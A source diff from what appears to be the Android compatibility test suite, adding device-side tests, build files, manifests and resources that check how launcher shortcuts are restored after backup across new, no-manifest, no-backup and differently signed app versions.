+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_VERSION_LOWER)
+ .forAllShortcuts(si -> {
+ // Note the label shouldn't be updated with the updateShortcuts() call.
+ assertEquals("shortlabel2", si.getShortLabel());
+ })
+ .areAllNotDynamic();
+ }
+
+ public void testRestoredOnNewVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllManifest()
+
+ // s1 is re-published, so it's enabled and dynamic.
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllEnabled()
+
+ .revertToOriginalList()
+ .selectByIds("s1")
+ .areAllDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ })
+
+ .revertToOriginalList()
+ .selectByIds("s2")
+ .areAllNotDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel2_updated", si.getShortLabel());
+ })
+ ;
+ }
+
+
+ public void testRestoreWrongKey() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllEnabled()
+ .areAllManifest()
+
+ // s1 is re-published, so it's enabled and dynamic.
+ .revertToOriginalList()
+ .selectByIds("s1")
+ .areAllEnabled()
+ .areAllDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel1_new_one", si.getShortLabel());
+
+ // The app re-published the shortcut, not updated, so the fields that existed
+ // in the original shortcut is gone now.
+ assertNull(si.getExtras());
+ })
+
+
+ // updateShortcuts() shouldn't work on it, so it keeps the original label.
+ .revertToOriginalList()
+ .selectByIds("s2")
+ .areAllNotDynamic()
+ .forAllShortcuts(si -> {
+ assertEquals("shortlabel2", si.getShortLabel());
+ })
+ ;
+ }
+
+ public void testRestoreNoManifestOnOldVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("s1", "ms1")
+ .areAllEnabled()
+ .areAllDynamic()
+ .areAllMutable()
+
+ .revertToOriginalList()
+ .selectByIds("s2", "ms2")
+ .areAllDisabled();
+ }
+
+ public void testRestoreNoManifestOnNewVersion() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+ .areAllPinned()
+
+ .selectByIds("ms1", "ms2")
+ .areAllDisabled()
+ .areAllImmutable()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_APP_CHANGED)
+
+ .revertToOriginalList()
+ .selectByIds("s1", "s2")
+ .areAllEnabled()
+ .areAllMutable();
+ }
+
+ public void testInvisibleIgnored() {
+ assertWith(getPackageShortcuts(ShortcutManagerPreBackupTest.PUBLISHER4_PKG))
+ .haveIds("ms1", "ms2", "s1", "s2")
+
+ .selectByIds("ms1", "s1", "s2")
+ .areAllPinned()
+ .areAllDisabled()
+ .areAllWithDisabledReason(ShortcutInfo.DISABLED_REASON_VERSION_LOWER)
+ .areAllNotDynamic()
+ .areAllNotManifest()
+
+ .revertToOriginalList()
+ .selectByIds("ms2")
+ .areAllEnabled()
+ .areAllPinned()
+ .areAllNotDynamic()
+ .areAllNotManifest();
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
new file mode 100644
index 0000000..8d99255
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher4old/src/android/content/pm/cts/shortcut/backup/launcher4/ShortcutManagerPreBackupTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.content.pm.cts.shortcut.backup.launcher4;
+
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
+
+import android.content.pm.cts.shortcut.device.common.ShortcutManagerDeviceTestBase;
+import android.test.suitebuilder.annotation.SmallTest;
+
+@SmallTest
+public class ShortcutManagerPreBackupTest extends ShortcutManagerDeviceTestBase {
+ static final String PUBLISHER4_PKG =
+ "android.content.pm.cts.shortcut.backup.publisher4";
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ setAsDefaultLauncher(MainActivity.class);
+ }
+
+ public void testPreBackup() {
+ // Pin all the shortcuts.
+ getLauncherApps().pinShortcuts(PUBLISHER4_PKG, list("s1", "s2", "ms1", "ms2"),
+ getUserHandle());
+ }
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
index 870dab9..33c8f82 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
@@ -21,16 +21,17 @@
public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
public void testWithUninstall() {
+ // backup = false, so dynamic shouldn't be restored.
assertWith(getManager().getDynamicShortcuts())
.isEmpty();
- // backup = false, so no pinned shortcuts should be restored.
+ // But manifest shortcuts will be restored anyway, so they'll restored as pinned.
assertWith(getManager().getPinnedShortcuts())
- .isEmpty();
+ .haveIds("ms1", "ms2");
assertWith(getManager().getManifestShortcuts())
.haveIds("ms1", "ms2")
- .areAllNotPinned();
+ .areAllPinned();
}
public void testWithNoUninstall() {
@@ -39,8 +40,8 @@
.haveIds("s1", "s2", "s3")
.areAllNotPinned();
+ // Manifest shortcuts should still be published.
assertWith(getManager().getManifestShortcuts())
- .haveIds("ms1", "ms2")
- .areAllNotPinned();
+ .haveIds("ms1", "ms2");
}
}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
new file mode 100644
index 0000000..ace1afe
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
new file mode 100644
index 0000000..dae61ca
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
new file mode 100644
index 0000000..75a025b
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nobackup
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
new file mode 100644
index 0000000..33e5121
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application android:allowBackup="false">
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
new file mode 100644
index 0000000..4a712f7
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nomanifest
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
new file mode 100644
index 0000000..ccf0382
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
new file mode 100644
index 0000000..9d4739e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
@@ -0,0 +1,46 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_wrongkey
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
new file mode 100644
index 0000000..33e5121
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="11">
+
+ <application android:allowBackup="false">
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
new file mode 100644
index 0000000..b7187f0
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
@@ -0,0 +1,42 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src) \
+ $(call all-java-files-under, ../../common/src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ android-support-test \
+ android-support-v4 \
+ mockito-target-minus-junit4 \
+ compatibility-device-util \
+ ctstestrunner \
+ ub-uiautomator \
+ ShortcutManagerTestUtils
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
new file mode 100644
index 0000000..149c351
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.content.pm.cts.shortcut.backup.publisher4"
+ android:versionCode="10">
+
+ <application>
+ <activity android:name="MainActivity" android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <meta-data android:name="android.app.shortcuts" android:resource="@xml/shortcuts"/>
+ </activity>
+ <activity-alias android:name="MainActivity2"
+ android:targetActivity="android.content.pm.cts.shortcut.backup.publisher4.MainActivity"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.DEFAULT" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity-alias>
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.content.pm.cts.shortcut.backup.publisher4" />
+</manifest>
+
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png
new file mode 100644
index 0000000..a26da5c
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x16.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png
new file mode 100644
index 0000000..ed049fa
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_16x64.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png
new file mode 100644
index 0000000..a0983c7
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/drawable-nodpi/black_64x16.png
Binary files differ
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml
new file mode 100644
index 0000000..5872ed1
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/values/strings.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="label1">Shortcut 1</string>
+ <string name="long_label1">Long shortcut label1</string>
+ <string name="disabled_message1">Shortcut 1 is disabled</string>
+
+ <string name="label2">Shortcut 2</string>
+ <string name="long_label2">Long shortcut label2</string>
+ <string name="disabled_message2">Shortcut 2 is disabled</string>
+
+ <string name="label3">Shortcut 3</string>
+ <string name="long_label3">Long shortcut label3</string>
+ <string name="disabled_message3">Shortcut 3 is disabled</string>
+
+ <string name="label4">Shortcut 4</string>
+ <string name="long_label4">Long shortcut label4</string>
+ <string name="disabled_message4">Shortcut 4 is disabled</string>
+
+ <string name="label5">Shortcut 5</string>
+ <string name="long_label5">Long shortcut label5</string>
+ <string name="disabled_message5">Shortcut 5 is disabled</string>
+</resources>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml
new file mode 100644
index 0000000..11cede6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/res/xml/shortcuts.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<shortcuts xmlns:android="http://schemas.android.com/apk/res/android" >
+ <shortcut
+ android:shortcutId="ms1"
+ android:icon="@drawable/black_16x16"
+ android:shortcutShortLabel="@string/label1"
+ android:shortcutLongLabel="@string/long_label1"
+ android:shortcutDisabledMessage="@string/disabled_message1">
+ <intent
+ android:action="android.intent.action.VIEW" />
+ <categories android:name="android.shortcut.conversation" />
+ <categories android:name="android.shortcut.media" />
+ </shortcut>
+ <shortcut
+ android:shortcutId="ms2"
+ android:shortcutShortLabel="@string/label2">
+ android:shortcutLongLabel="@string/long_label2">
+ <intent android:action="action" />
+ <intent android:action="action2"
+ android:data="data"
+ android:mimeType="a/b"
+ android:targetPackage="pkg"
+ android:targetClass="pkg.class"
+ >
+ <categories android:name="icat1"/>
+ <categories android:name="icat2"/>
+ <extra android:name="key1" android:value="value1" />
+ <extra android:name="key2" android:value="123" />
+ <extra android:name="key3" android:value="true" />
+ </intent>
+ </shortcut>
+</shortcuts>
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
new file mode 100644
index 0000000..62acf9d
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/MainActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
